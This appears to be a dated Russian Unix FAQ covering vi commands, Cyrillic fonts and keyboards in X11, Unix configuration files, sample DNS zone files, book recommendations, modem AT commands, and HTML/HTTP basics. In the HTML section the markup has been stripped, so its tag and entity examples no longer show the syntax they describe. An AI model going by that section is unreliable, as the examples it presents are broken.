^G      о текущем файле и строке

        &dD; &d;@       &dD;ОТКАТКА&d;@
u       откатка (одна)
^L/^R   перерисовать

        &dD; &d;@       &dD;РЕДАКТИРОВАНИЕ В РЕЖИМЕ ВВОДА&d;@
ESC     вернуться в командный режим
Забой   Забой
^W/^U   Убрать слово/Убрать строку
^V      Вставить CRTL-символ[ы]

        &dD; &d;@       &dD;ОПЕРАТОРЫ С ПОЗИЦИОНИРОВАНИЕМ&d;@
p/P     вспомнить фрагмент за/перед _

{n} ["буква_буфер] "команда" {m}"команда позиционирования"
  весь фрагмент запоминается!    или повтор команды для строки
d       уничтожать фрагмент
y       запоминать фраг
c       заменить фрагмент (==> в режим ввода )
&dD;<&d;@/&dD;>&d;@     сдвинуть влево/вправо
! команда       пропустить фрагмент через фильтр

        &dD; &d;@       &dD;ПРИМЕРЫ&d;@
7yy     запомнить 7 строк в неименованном буфере
"aAd{   добавить к буф a с удалением от _ до начала абзаца
!G sort отсортировать строки от курсора и до конца

        &dD; &d;@       &dD;"МАКРОКОМАНДЫ"&d;@
:map  клавиша_имя_макро тело_макрокоманды  {CR}
:map! клавиша_имя_макро тело_макрокоманды  {CR}  - в режиме ввода
:ab   сокращение        сокращаемый_текст  {CR}  - в режиме ввода

        &dD; &d;@       &dD;ПОИСК&d;@
?строка         искать вверх
/строка         искать вниз
n               повторить поиск
N               вернуться на последнюю найденную строку

        &dD; &d;@       &dD;ПОИСК_С_ЗАМЕНОЙ&d;@
:s/рег_выраж/замена/gc   - глобальный с подтверждением
:Q/vi                      вход / выход в режим ed
:g/строка                - поставить визуальный фильтр
:+5                        движение по файлу

        &dD; &d;@       &dD;РЕДАКТОР_ED. Вход ":" (надолго "Q") Выход "CR" / (VI)&d;@
^^      Перейти в альтернативное окно
:[1,$] w [>>] [file]   записать в file [от 1 до $ строки]
:q[!]  закончить сеанс [форсированно]
:[15]r [file] или [!komanda]   вставить после [15] стр
:e     редактировать новый файл
:n     редактировать следующий файл
:sh    выйти в Shell
:! команда  запустить на выполнение Shelloм

        &dD; &d;@       &dD;УСТАНОВКА РЕЖИМОВ VI&d;@
:set nu / nonu   нумеровать/ненумеровать строки
:set smd{CR}     показывать текущий режим
EXINIT="конфигурационные команды"       - переменная окружения
.exrc                           - файл с командами конфигурации
.
        &dD;Как подключить русские фонты к компьютеру с X11&d;@

1. Создаем каталог cyrfonts. Копируем туда   файлы *.bdf или *.pcf

   mkdir cyrfonts
   cp *.bdf *.pcf cyrfonts

     Замечание: предпочтительно добыть фонты в формате PCF а не
BDF  Проблема  в  том,  приложение  заказывает  размер   фонта,
которого  у  X  или  FONT-сервера  нет, то FONT-сервер пытается
скалировать и в случае .BDF погибает и убивает все, что под ним
запущено. Конвертировать bdf-фонты можно командой bdftopcf.

2. В  каталоге   с   фонтами   создаем  оглавление  фонтов  для
X-server'а : fonts.dir

   cd cyrfonts
   mkfontdir

3. Указываем X-server'у, чтоб он брал фонты из нашего каталога

   xset +fp $HOME/cyfonts
   xset fp rehash

4. Пользуемся русскими фонтами.

   xterm -fn koi9x15
   mailtool -fn koi6x10

   и т.д.


        &dD;Чтобы русские фонты включались и находились по умолчанию&d;@

5. До запуска X-Windows установить переменную окружения FONTPATH

   Если у вас Bourne Shell  /bin/sh или bash или ksh

FONTPATH=$HOME/cyrfonts:         export FONTPATH

   Если судьба угораздила пользоваться C-Shell  /bin/csh  или  tcsh

setenv FONTPATH $HOME/cyrfonts:

6. Или скопировать фонты в директорию со стандартными фонтами.

   cp *.bdf /usr/lib/X11/fonts/misc
   cd /usr/lib/X11/fonts/misc
   mkfontdir
   xset fp rehash

7. Если у вас XFree, то добавить строчку в файл /etc/X11/XF86Config

      FontPath	"/home/yourname/cyrfonts/"

8. Установить фонт по умолчанию в своем .Xdefaults  файле.

   Добавить в файл .Xdefaults такие строчки:

font.name:              koi9x15
icon.font.name:         koi6x10

XTerm*font:             koi6x10
XTerm*VT100*font1:	koi6x10
XTerm*VT100*font2:	koi8x13
XTerm*VT100*font3:	misc16
XTerm*VT100*font4:	misc24
XTerm*VT100*font5:	demos8x14
XTerm*VT100*font6:	demos8x16

emacs.font:	        koi9x15
emacs.default_font:	koi9x15

        &dD;Если у вас SunOs 4.1.1 и, соответственно, NeWS&d;@

Тогда   вся   вышеописанная  процедура  не  сработает.  У  NeWS
совершенно собственный формат фонтов.

1. Преобразуем фонты в формат NeWS

convertfont *.bdf

2. Создаем оглавление для NeWS server'а
bldfamily

3. Подключаем фонты в точности, как в стандартном X11

xset +fp `pwd`     # Дополняем каталог, подключаем фонты.
xset  fp rehash    # Чтоб сервер перезачитал каталоги с фонтами

все.

Еще можно в файл Synonims.list воткнуть строчку с aliaсами.
Иначе фонты будут браться только по имени файлов.

        &dD;Редактирование фонтов.&d;@

Некоторые комплектты X-Windows имеют редактор фонтов. Он может называться
xfed, fontedit, xfd. Если у вас такового нет, попробуйте найти исходники.

xfed font.bdf

convertfont -v font    получаем   font.vfp
fontedit font.vfp

затем  convertfont  -b ?? font.vfp   и получаем font.ff

        &dD;Подключение русской клавиатуры в X-Windows&d;@

Достаньте  файлы  с  раскладкой  клавиатуры. (Их можно найти во
многих местах, в частности здесь). Выполните команду

   xmodmap   файл-с-раскладкой.xmm

Переключатель рус/лат - клавиша CapsLock
Чтобы отключить русскую клавиатуру, выполнитте команду

   xmodmap   default.xmm

        &dD;Подключение русской клавиатуры в XFree86&d;@



 XF86Config:

 Section Keyboard
 LeftAlt      Meta
 AltGr        ModeShift
 Right_Ctl    ModeLock
 ScrollLock   ScrollLock
 EndSection

Вешает  переключатель  на  правый Ctrl, при этом еще и лампочка
CapsLock будет загораться.


        &dD;Переключатель кирилицы в XFree86 3.2.2&d;@

В свежей версии Xfree_3.3.2
переключатель кирилицы встроенный с раздачи, раскладка йцукен
переключатель задается в /etc/X11/XFconfig

 Section "Keyboard"
 #    XkbDisable
    Protocol        "Standard"
    XkbRules        "xfree86"
    XkbModel        "pc101"
    XkbLayout       "us"
    XkbOptions      "grp:shift_toggle"
 EndSection

 Варианты переключателей:
   grp                   Group Shift/Lock behavior
   grp:switch            R-Alt switches group while pressed
   grp:toggle            Right Alt key changes group
   grp:shift_toggle      Both Shift keys together change group
   grp:ctrl_shift_toggle Control+Shift changes group
   grp:ctrl_alt_toggle   Alt+Control changes group

        &dD;Подключение русской клавиатуры в OpenWindows на SUN&d;@

Возьмите   файл  с  раскладкой  для  SUNа  (например  у  меня),
поместите в своем домашнем  каталоге  под  именем  .keytable  и
запустите openwin. Переключатель рус/лат - клавиша правый AltGraph

        &dD;Подключение русской клавиатуры в DT/CDE HP-UX&d;@

keymap_ed -i 1101

        &dD;Чтоб bash воспринимал русские буквы с клавиатуры&d;@

Вписать в $HOME/.inputrc строки
set meta-flag on
set convert-meta off
set output-meta on

Или вписать в .profile строки
LC_CTYPE=iso_8859_1  export LC_CTYPE
LC_LOCALE=iso_8859_1 export LC_LOCALE
LESS="-e -r"         export LESS # чтоб лесс показывал русские буквы

        &dD;Где все лежит&d;@

        См. каталог русификации

        &dD;Если что-то не получилось.&d;@

1. Если у вас Solaris 2.3, то:

Во всех "родных" (которые не X11) Sun'овских программах русских
букв не будет. Как то: textedit, cmdtool, mailtool

2.  Поставьте  свежий  Solaris  2.5 или 2.4. Если не можете, то
используйте вместо них emacs, xterm, xedit.

3. Или  разбирайтесь  самостоятельно  с  такими  понятиями  как
ctype, LC_LOCALE, LC_CTYPE, -lc_basic_locale , NLS, and so on.

хотя все же можете попробовать:

LC_LOCALE=iso_8859_1 export LC_LOCALE
LC_CTYPE=iso_8859_1  export LC_CTYPE
LANG=iso_8859_1      export LANG

        &dD;Русификация Netscape&d;@

В   Netscape  3  уже  реализован  encoding  koi8-r.  Достаточно
установить комплект фонтов koi8-r (заалиасенные as  iso8859-1),
и  виндовские,  заалиасенные  as  Family  (Mswin)-*-iso8859-1 А
затем выбрать Доцумент енцодинг кои8-р  и  поставить  для  него
русские фонты.

&dD;Чтоб отправляемая почта уходила с полем charset=koi8-r&d;@

Вставить в .Xdefaults строчки:

Netscape*defaultCharset:                koi8-r
Netscape*localeCharset*C:               koi8-r
Netscape*localeCharset*koi8-r:          koi8-r
Netscape*localeCharset*koi8-u:          koi8-r
Netscape*localeCharset*ru:              koi8-r
Netscape*localeCharset*ru_SU:           koi8-r
Netscape*localeCharset*ru_SU.KOI8-R:    koi8-r

        &dD;А еще я умею русифицировать, но не написал инструкции:&d;@

Системная консоль Linux - подключение русских шрифтов на экране
и переключателя клавиатуры на правый ALT.

        &dD;Кирилизация Applixware&d;@

       Applixware  -  огромный  (140Mb) оффисный пакет под Unix
(Соларис/AIX/Linux/SCO/...), в котором есть все, что полагается
-    вордпроцессор,    электронные    таблицы,    image-editor,
веб-броузер, html-редактор, почтовый клиент и т.д.
       Пользоваться им не собираюсь, мне достаточно Winword-6 в
WABI 2.2b

Кирилизацию Applixware описал Виктор Колосов 
http://triton.itep.ru/ru/skynet/system.html
>   Простой и очевидный способ добавления TTF-шрифтов в Applix-e - через меню,
>   сожалению, приводит к заметной на глаз кривизне букв при печати
>   (для TTF). Поэтому там описано как то же самое сделать через PostScript.

 From: Василий Егошин 

     По-моему  на  этой  страничке все слишком сложно.  Я проще
поступил: с помощью  Applix'овского  фонт-инсталлера  прикрутил
виндовские ttf'ы и на этом в принципе и все :) И отображается и
печатается все на ура. (Причем обмен с вордом через rtf  -  без
проблем).
     Единственное неудобство - ttf'ы должны быть параграфовские
- с юникодными работать не  будет,  т.к.  там  русские  символы
начинаются с кодов 400 (вроде бы).
.
        &dD;Путеводитель по конфигурационным файлам Unix&d;@.

        Корневой каталог "/"

bin     - каталог наиболее употребительных команд пользователя.
sbin    - утилиты системного администратора
          это все, что у него будет в однопользовательском режиме
dev     - "устройства" - специальные файлы
etc     - место для конфигурационных файлов
tmp     - каталог временных файлов - для системы и для  пользо-
          вателей. Чистится при каждой загрузке.
lib     - библиотеки  и файлы, используемые компиляторами, раз-
          деляемые библиотеки
shlib   - разделяемые библиотеки
usr     - страшно говорить, но чего там только нет
mnt     - "дежурный" каталог, для подмонтирования
          файловых систем
var     - изменяемые конфигурационные и служебные файлы
home    - здесь живут "userы"
export  - "экспортируемые" файлы. В частности, содержит файловые
          системы для бездисковых клиентов, монтирующих их по NFS
proc    - псевдо-файловая система отображает состояние запущенных
          процессов
stand   - раздел с загрузочными файлами (unix, kdebug)
tftpboot  "загрузчики" для бездисковых клиентов
unix    - ядро операционной системы. - обыкновенный выполняемый
          файл. Возможно, что лежит он не в /, и называется  по
          другому (например vmunix, vmlinuz)
lost+found - каталог, куда при ремонте файловой системы склады-
          ваются файлы, "потерявшие" свои имена.

        Каталог /etc  -  место для конфигурационных файлов
        --------------------------------------------------
passwd     здесь определены все пользователи
shadow     их пароли (в закодированном виде)
group      группы пользователей
aliases    синонимы почтовых адресов локальных пользователей
ftpusers   список пользователей, на которых нельзя ftp-иться
shells     список нормальных "shell'ов"

issue      файл,  содержимое  которого  выдается на экран перед
           приглашением к входу в систему.
motd       файл, содержимое которого выдается  на  экран  после
           приглашения к входу в систему.

ttydefs    параметры терминальных линий

TIMEZONE   файл  с  информацией о часовом поясе, в котором
           находится компъютер

uucp       конфигурационные файлы системы UUCP
mail       конфигурационные файлы системы mailx/sendmail

vfstab     таблица монтируемых файловых систем
dfs/dfstab таблица экспортируемых в NFS каталогов
auto_home  карты автоматически монтируемых каталогов для automount
auto_master
format.dat параметры всех возможных дисков

hosts      имена и IP адреса локальных host'ов
networks   задает символические имена IP сетей
netmasks   net маски IP сетей
ethers     ethernet'ные адреса бездисковых клиентов
hosts.equiv     список host'ов, которым позволено делать у нас rsh
defaultdomain   задает NDS домен

resolv.conf     кто служит нам DNS сервером
inetd.conf конфигурационный файл inetd демона
services   соответствие номеров TCP портов их символическим именам
named.boot стартовая конфигурация сервера DNS

inittab    схема работы процесса init.

rc0.d/     каталоги с командными файлами, которые запуска-
rc2.d/     ют  при  переходе  на/с соответствующего уровня
rc3.d/     выполнения
init.d/    а этом каталоге лежат копии ВСЕХ таких файлов вместе

rc0, rc2, rc3   Командные файлы, которые их запускают

magic      Таблица с "магическими числами". Используется коман-
           дой file для определения типа бинарного файла.
termcap    файл с описаниями терминалов в формате termcap

wtmp       Файл с информацией о сеансах работы пользователей  в
           системе. Рекомендуется иногда опустошать его.

        Каталог /usr

sadm            - файлы системного администратора
adm             - накапливаемая  информация  о работе системы и
                  пользователей
bin             - утилиты
sbin            - утилиты системного администратора
ucb/bin         - утилиты, характерные для BSD Unix

mail            - каталог  почтовой  службы.
man             - документация системы в man формате
tmp             - временные файлы. Очищается при загрузке
include         - include файлы для компилятора C

lib             - библиотеки  -  системные,   пользовательские,
                  разделяемые  и  статические,  а так же многие
                  служебные каталоги начинаются отсюда.
 /usr/lib/acct      утилиты для сбора статистики
 /usr/lib/terminfo  база данных с описаниями  терминалов.
 /usr/lib/lp    каталог системы LP спулинга  печати
 /usr/lib/uucp  каталог системы UUCP пересылки файлов по модему

spool           - место для служебных временных файлов
 /usr/spool/lp      каталоги для работы системы спулинга печати
 /usr/spool/cron/crontabs     команды, выполняемые по расписанию
 /usr/spool/cron/atjobs       поставленные на выполнение
 /usr/spool/uucp              спулинг системы uucp

/usr/local      - GNU-сный каталог

/var            - локальные служебные файлы
 /var/yp/Makefile - конфигуратор NIS
 /var/named       - карты описания DNS

.
        &dD;Пример конфигурационных файлов DNS для standalone сети&d;@.

Задача: сконфигурировать DNS-сервис в отдельностоящей локальной
сети.

            домен:           foms.msk.ru
            адреса:          198.8.3.0
            адреса:          198.8.2.0
            DNS сервер:      server.foms.msk.ru

Для этого нужно заполнить файлы:

  /etc/named.boot
  /var/named/named.root
  /var/named/127.0.0.0
  /var/named/foms.msk.ru
  /var/named/foms-hosts-spisok
  /var/named/198.8.2.0
  /var/named/198.8.3.0

и запускать при начальной загрузке демона /sbin/in.named

Примерное  содержание  конфигурационных  файлов приведено ниже.
Переделайте  их  под  конкретную   конфигурацию   вашей   сети.
Приблизительная  идеология  такова:  сервис  DNS поддерживается
демоном  named.  Named  при  старте  считывает  файл  стартовой
конфигурации  /etc/named.boot  . В нем указывается, как зовется
наш домен, и в каких файлах лежат описания имен  хостов  нашего
домена  (параметр primary). Мы должны локально поддерживать три
карты описаний:

   foms.msk.ru    -  все хосты нашего домена.
   3.8.198        - "обращенная" карта нашего домена (просто
                     переворачиваем наши IP-адреса задом наперед)
   0.0.127        -  зачем требуется еще карта нашей "local-network"
                     известно только разработчикам DNS, однако
                     ее тоже нужно описать.

   в /etc/named.boot записано, в каких файлах лежат описания
    доменов, named их считывает, и начинает вещать на весь мир.

;##############
; type     domain                source host/file   backup file
;
directory /var/named
cache      .                     named.root
primary    0.0.127.in-addr.arpa  127.0.0.0
primary    foms.msk.ru           foms.msk.ru
primary    3.8.198.in-addr.arpa  198.8.3.0
primary    2.8.198.in-addr.arpa  198.8.2.0

; Зоны, для которых мы служим резервным name-сервером
secondary gatelink.fr          134.214.100.1 secondary/gatelink.fr
secondary 214.134.in-addr.arpa 134.214.100.1 secondary/134.214.0.0
;############## конец файла ###################################

;##############
; Initial cache data for root domain servers 1-may-98
;;;;Get it from
.                       99999999     NS A.ROOT-SERVERS.NET
.                       99999999     NS B.ROOT-SERVERS.NET
.                       99999999     NS C.ROOT-SERVERS.NET
.                       99999999     NS D.ROOT-SERVERS.NET
.                       99999999     NS E.ROOT-SERVERS.NET
.                       99999999     NS F.ROOT-SERVERS.NET
.                       99999999     NS G.ROOT-SERVERS.NET
.                       99999999     NS H.ROOT-SERVERS.NET
.                       99999999     NS I.ROOT-SERVERS.NET
.                       99999999     NS J.ROOT-SERVERS.NET
.                       99999999     NS K.ROOT-SERVERS.NET
.                       99999999     NS L.ROOT-SERVERS.NET
.                       99999999     NS M.ROOT-SERVERS.NET
A.ROOT-SERVERS.NET      internet address = 198.41.0.4
B.ROOT-SERVERS.NET      internet address = 128.9.0.107
C.ROOT-SERVERS.NET      internet address = 192.33.4.12
D.ROOT-SERVERS.NET      internet address = 128.8.10.90
E.ROOT-SERVERS.NET      internet address = 192.203.230.10
F.ROOT-SERVERS.NET      internet address = 192.5.5.241
G.ROOT-SERVERS.NET      internet address = 192.112.36.4
H.ROOT-SERVERS.NET      internet address = 128.63.2.53
I.ROOT-SERVERS.NET      internet address = 192.36.148.17
J.ROOT-SERVERS.NET      internet address = 198.41.0.10
K.ROOT-SERVERS.NET      internet address = 193.0.14.129
L.ROOT-SERVERS.NET      internet address = 198.32.64.12
M.ROOT-SERVERS.NET      internet address = 202.12.27.33
;############## конец файла ###################################

;##############
; local dns file local.reverse 0.0.127.in-addr.arpa
;
@  IN   SOA  server.foms.msk.ru. moshkow.server.foms.msk.ru. (
		94061801	; Serial (yymmddxx)
		10800		; Refresh 3 hours
		3600		; Retry   1 hour
		3600000 	; Expire  1000 hours
		86400 )		; Minimum 24 hours
   IN   NS	server.foms.msk.ru.
1  IN   PTR	localhost.
;############## конец файла ###################################

;##############
; foms.msk.ru zone hosts file for DNS-server server.foms.msk.ru
;
@  IN  SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
		95031802	; Serial (yymmddxx)
		10800		; Refresh 3 hours
		3600		; Retry   1 hour
		3600000 	; Expire  1000 hours
		86400 )		; Minimum 24 hours

	NS	server.foms.msk.ru.
	NS	ns2.msk.ru.
	MX      0	server.foms.msk.ru.
;	MX	20	mail.msk.ru.
;	MX	30	mailhost.kiae.su.

localhost	A	127.0.0.1

$INCLUDE /var/named/primary/foms-hosts-spisok

;; Если хотите  отпустить свой поддомен   *.develop.foms.msk.ru
;; на выселки, самостоятельно поддерживать свой домен.
;margo.develop	IN	A	193.95.100.4
;develop	IN	NS	margo.develop.foms.msk.ru.
;############## конец файла ###################################

;##############
;;;;;;;;;;;; Hosts in foms.msk.ru zone ;;;;;;;;;;;;;;;;;;;;;;;;

; Our main server with DNS, ftp, gopher, www, mailrelay, NFS,
;
server    A     198.8.2.1         ; e1x70 ethernet
          A     198.8.3.1         ; m3760 ethernet
          A     193.124.158.33    ; sl0   slip link
          MX	0	mailrelay
          HINFO	Motorola88/110 "SVR4.1/88"
	  WKS   198.8.2.1   UDP ( time domain name )
          WKS   198.8.2.1   TCP ( echo telnet hostnames domain )
mailrelay CNAME server
ftp	  CNAME server
fedfond	  CNAME server

; Host s20
;
s20	A	198.8.2.20
        MX	0	mailrelay
        MX	20	linux
        HINFO	Besta/31 UNIX-V.3
besta	CNAME	s20

; Host pcat101
;
pcat101	A	198.8.2.101
 	MX	0	mailrelay
 	HINFO	PC486/66DX2 "MSDOS 6.2"
pc101	CNAME	pcat101
guest   CNAME	pcat101

; Host pcat106
;
pcat107	A	198.8.3.107            ; eth0
        A       193.124.158.34         ; sl0 slip link
 	MX      0       pcat107
 	MX	10      mailrelay
 	HINFO	PC486/66DX2 "Linux 1.2.1"
pc107	CNAME	pcat101
linux	CNAME	pcat101
;############## конец файла ###################################

;##############
@  IN  SOA  server.foms.msk.ru. moshkow.server.foms.msk.ru. (
		94102501        ; Serial
		10800		; Refresh 3 hours
		3600		; Retry   1 hour
		3600000 	; Expire  1000 hours
		86400 )		; Minimum 24 hours
	NS	server.foms.msk.ru.

; Reverse-name   [ttl]		PTR	Real-name-dot
;
1	PTR	 server.foms.msk.ru.
20	PTR	    s20.foms.msk.ru.
101	PTR	pcat101.foms.msk.ru.
;############## конец файла ###################################

;##############
@  IN  SOA  server.foms.msk.ru. moshkow.server.foms.msk.ru. (
		94102501        ; Serial
		10800		; Refresh 3 hours
		3600		; Retry   1 hour
		3600000 	; Expire  1000 hours
		86400 )		; Minimum 24 hours
	NS	server.foms.msk.ru.

; Reverse-name  [ttl]   PTR     Real-name-dot
;
1	PTR      server.foms.msk.ru.
106	PTR	pcat106.foms.msk.ru.
107	PTR	pcat107.foms.msk.ru.
;############## конец файла ###################################
.
        &dD;Книжки про Unix&d;@

     Рекомендуются  любые  книги  в  твердой  обложке импортных
авторов  в  переводе  на  русский,   ОСОБЕННО   переводы   книг
издательства  O'Raily, все остальные (за редчайшим исключением)
- не рекомендуются.  Т.е.,  написанные  совками  (ибо  учебники
должны    писать    профессиональные    преподаватели,   а   не
профессиональные программисты) и в мягкой обложке (естественно,
не считая издательства O'Raily)

     На русском есть:

        &dD;Керниган, Пайк&d;@

Керниган,   Пайк,  название  почему-то  перевели  как  "UNIX  -
универсальная  среда  программирования".  Warning!  При  наборе
русского издания наляпали ОКЕАН ачипяток и ашипок в части regex
и не только.  Читать ее  imho  надо  в  параллель  с  manpages,
отдавая оным приоритет в стремных ситуациях.

 Не смотря на это - отличная книжка. Мне было даже интересно ее
 читать.

        &dD;Готье&d;@

Готье  "Руководство  по  операционной  системе  UNIX".  Точнее,
SysV.release-unknown. Но тоже ничего для начала.

        &dD;Баурн&d;@

Баурн (название я забыл) хорошая книжка и troff описан. Старая,
из серии "со стрелочками" из-ва "Мир".

        &dD;Инмос85&d;@

Беляков  Рабовер  Фридман  -- что-то на тему Инмос85. Интересно
почитать.

  Но сильно устарела. МОЖНО НЕ ЧИТАТЬ

        &dD;Морис Дж. Бах. Архитектура операционной системы Unix&d;@

Очень  толково  и доступно описаны "потроха" - идеи и алгоритмы
реализации ядра. Описание Unix изнутри. Написана на "языке C" с
комментариями.  Книга  весьма  старая, но тем не менее тем, кто
захочет узнать больше - ЧИТАТЬ РЕКОМЕНДУЮ.

Бах  Морис  --  русский  перевод  его  книги ходил в виде 480Кб
архива.

        &dD;"Мобильная опер. система"&d;@

Беляков  и  Co. "Мобильная опер. система" (оранжевая книжечка в
мягкой обложке) -- компиляция из POSIX  стандартов  времен  ок.
1989г. Маленькая такая, хороша как справочник.

и еще довольно много других...

        &dD;"UNIX/руководство системного администратора"&d;@

"UNIX/руководство системного администратора", Эви Немет, Гарт
Снайдер, Скотт Сибас, Трент Р.Хент. Киев, bhv, 1997. 830 стр.,
50 тр.

       Очень,  очень  достойная  книжка. Помогает почти от всех
болезней. Единственное, что отсутствует - Интернет security,  а
ВСЕ остальное есть. ОБЯЗАТЕЛЬНО КУПИТЬ.

        &dD;"Linux/введение в операционную систему"&d;@

Автора выясню позже. Киев, bhv, 1997. 760 стр.

     Издательство    bhv,    известное    выпоском   нескольких
высококласных книг по Unix, на этот раз напечатало  откровенную
халтуру.  Оригинал  был  весьма могословен и неряшливо написан.
Перевод еще хуже оригинала. КАТЕГОРИЧЕСКИ НЕ РЕКОМЕНДУЮ.

        &dD; * Где купить * &d;@

&dD;Издательство BHV"&d;@

За последнее время издало несколько очень качественных  переводных книг
по Unix и Internet

"BHV - Москва" 270-2032

 1. "Дом технической книги"   Ленинский пр., 40           (095) 137 6019
                                                                    0633*

 2. "Библио-Глобус"           ул. Мясницкая, 6            (095) 928 8744

 3. "Молодая Гвардия"         ул. Б. Полянка, 28          (095) 238 0032
                                                                    5001*

 4. "Центр-Техника"           ул. Петровка, 15            (095) 924 3624

 5. ТД "Москва"               ул. Тверская, 8             (095) 229 7355

 6. "Дом книги"               ул. Новый Арбат, 8          (095) 203 8242

 7. "Дом педагогической       ул. Большая Дмитровка,      (095) 229 4392
        книги"                       7/5

 8. "Мир"                     Ленинградский пр., 78       (095) 152 8282

 9. "Новый"                   ш. Энтузиастов, 24          (095) 362 0923

 10. "РиС"                    ул. Красного маяка, 11      (095) 313 8345

 11. "Ридас"                  Новоданиловская наб., 9     (095) 954 3044

 12. "Кнорус"                 Милютинский пер., 19/4      (095) 928 6269

 13. "Мидикс"                 Ленинский пр., 29           (095) 955 4101

 14. "Десс"                   Рогожский вал, 15           (095) 366 9295

______________________________________________________
* - телефоны, где что-то могут сказать про наличие книг


       ЛИТЕК  -  мелкооптовая  торговля  от  "КноРуса" 911-9863
911-9742 ул.  Николо-Ямская,  45  под.2.  Идти  от  м.Таганская
кольцевая,   по  Садовому  кольцу  вниз  до  б.Дровянного  пер,
завернуть туда и до упора в ул.  Николо-Ямскую. Перейти улицу и
направо   до   45  дома(там  меховое  ателье)  вход  со  двора.
Полуподвал

Информацию и можно получить
http://www.book.ru
http://www.bhv.ru


        &dD;Книги о Linux&d;@

Алгоритм такой:
пойти в крупный книжный,
взять там все книжки по линуксу, какие есть,
потом попытаться каждую из них почитать 5-10 минут.
Если от книжки не тошнит - то ее вполне можно брать.
.
        &dD;Несколько управляющих команд Hayes-совместимого модема&d;@
        (Компиляциия из документации модемов ZyXEL 1496*, GVC-1440)

AT&F0;           Factory setting
                Или на ZyXEL включить модем с нажатой кнопкой
                Enter или Data/Voice

ATZ0            Загрузить profile 0
AT&V;            Распечатать setup
AT&W0;           Сохранить setup в profile 0
AT&Y0;           При включении загружать profile 0

ATE0            Выключить эхо

atdpТЕЛЕФОННЫЙ НОМЕР       Пульсовый набор номера

+++             Выйти   из connect'а в командный режим
ATO             Вернуться из командного режима в CONNECT
ATH             Положить трубку

ATA             Поднять трубку  и ответить на звонок
ATS0=2          Снимать трубку после 2-го звонка

        &dD;Команды, которые обычно и сами по себе установлены&d;@.


AT&P1;           Make / break 33/67 (Europe)

ATQ0            Возвращать код возврата
ATV1            Код возврата текстовый

        &dD;Команды, которые возможно захочется установить&d;@.

AT&L1;           В режим выделенных линий
AT\N5           Запретить соединение БЕЗ сжатия MNP5 или V42bis
ATB6            Поставить скорость 2400 и ниже
ATL0            Самый тихий звук
ATM0            Speaker always off

        &dD;Команды GVC-1440&d;@

B_      B1 Bell mode                (*)
        B2 Autoscan mode

D_      R originate call in answer mode
        W whait for second dialtone
        , pause
        @ wait for 5 seconds silence
        ! flash
        ; return to command mode after dialing

H       1 make busy

I [0-4] info

L       2 medium speacker

M       0 internal speacker off
        1 internal speacker on until carrier
        2
        3

O       0 return to data mode
        1 return to data mode and initiate equaliser retrain

Регистры

s0 autoanswer ring          0
s1 ring counter             0
s2 Escape code character    +
s3 CR character             13
s4 LF character             10
s5 BS character             8

S6 dial tone whait time      2 sec
S7 remote carrier whait time 45 sec
s8 comma pause time           2 sec
s9 carrier dettect responce time 6  *1/10 sec
s10 carrier loss time         14   *1/10 sec
s11 touch tone dialing speed  95   ms
s12 esc character detect time 50   1/50 sec

s14 bitmap

s16 bitmap

s18 modem test timer          0
s21 bitmap
s22 bitmap
s23 bitmap

s25 DTR delay             5 sec
s26 RTS to CTS delay interval     1   *1/100 sec
s27 bitmap
s28 bitmap
.
        &dD;Конфигурирование сервера HTTPD и формат языка HTML&d;@



Внимание Этот текст будет слегка более доступным
для понимания,  если вы посмотрите на него в  исходном  виде  -
&dD;"Document source"&d;@


        &dD;Файлы в каталогах с документами&d;@

index.html       Если просят выдать каталог, то выдают index
                 если его нет, выдается просто оглавление каталога
HEADER.html      Его содержимое добавляется перед началом листинга
README.html      Его содержимое добавляется к концу листинга

.htaccess        Управляющий файл с локальными настройками текущей директории

Разобраться стоит с  этими  характеристиками:
 Alias  - где то должна лежать расшифровка. а сервер будет
                       ее подставлять.
Вот только где ?


        &dD;Спецсимволы:&d;@

Нужно задавать так:

           &  -  &
           "  -  "
           >  -  >
           <  -  <
          >>  -  >>
          <<  -  <<
         (C)  -  ©   или ©
         (R)  -  ®
              -  —
              -  –
          <=  -  <=
          >=  -  >=
 Extra space  -   

        &dD;Заголовки&d;@

         Заголовок всего документа 

        

Заголовок 2-го уровня

Ссылка на подраздел в документе Ссылка открываемая в другом окне Так это место должно быть помечено в Документе &dD;Ненумерованный список (Unnumbered list)&d;@
  • Одна позиция
  • Другая позиция
&dD;Пронумерованный список (Numbered list)&d;@
  1. Первая позиция
  2. Вторая позиция
&dD;Есть так же и более "мелкие" списки:&d;@
  • 1
  • 2
  • ,
  • 1
  • 2
  • &dD;Списки с подзаголовками (Definition list)&d;@
    Название пункта
    Текст, расписывающий содержимое пункта
    Название пункта
    Текст, расписывающий содержимое другого пункта
            Преформатированный     фрагмент текста
    
            Преформатированный     фрагмент текста в ширину 80
    
    
    
    Устанавливает общий отступ вправо. Вынесенный вправо фрагмент текста
    Горизонтальная черта
    Окончание параграфа

    Жесткий конец строки
    Текст между этими тагами не будет переноситься на новую сторку каким бы длинным он не был &dD;Физические стили&d;@ Bold жирный текст Itallic курсив текст Underline подчеркнутый Работает только в Netscape 3 Typewriter текст с фонтом фиксированной ширины Blink мигающий текст Strike перечеркнутый текст &dD;Логические стили&d;@ Definition. Определяемое слово italic Emphasis. Ударение italic Titles of books. Цитата italic Programm. Программный текст fixed User keyboard entry. bold fixed Status message fixed Variable. italic Strong emphasis. bold

    Выделяется адрес italic
    &dD;Управление цветами и фонтами&d;@ _BODY_ таги срабатывают только если расположены в самом начале документа А так устанавливают собственные цвета во всем документе А так делали траурные колера, когда протестовали. Текст бОльшего размера, и покрашенный в красный цвет, с заданным типом фонта Дальше пойдет текст с фонтом заданного размера а так же background звук &dD;Так выглядит обычная ссылка.&d;@ Low impact

    &dD;Так вставляют картинку&d;@ Если нужен текст сбоку от картинки Отступ текста от картинки ALT - что написать, если картинка не читается, LOWRES - перед рисованием большой картинки загрузить эту - маленькую Так подкладывают BACKGROUND &dD;Таблички -&d;@
    tr - задает строку СтолбецСтолбец
    Внутри таблицы может быть такой таг, Подзаголовок?
    Табличка фиксированной ширины,не зависящая от размеров внутреннего текста


    Back to my home page
    moshkow@ipsun.ras.ru
    
            &dD;Встроенная imagemap&d;@
    
    
    
    
    
    
    
    
    
    
    
    
    
    
            &dD;О протоколе HTTP/1.*&d;@
    
    Клиент  открывает  tcp соединение с хостом www.host.com на порт
    (обычно 80) и говорит туда
    
    GET /local/url/file/name.html HTTP/1.0
    Host: www.host.com
    Http_referer: url_документа_на_котором_стоял_клиент
    Еще некоторое количество заголовков,
    которые рассказывают серверу, кто с ним имеет дело.
    Все они, кроме GET необязательны
    . . .
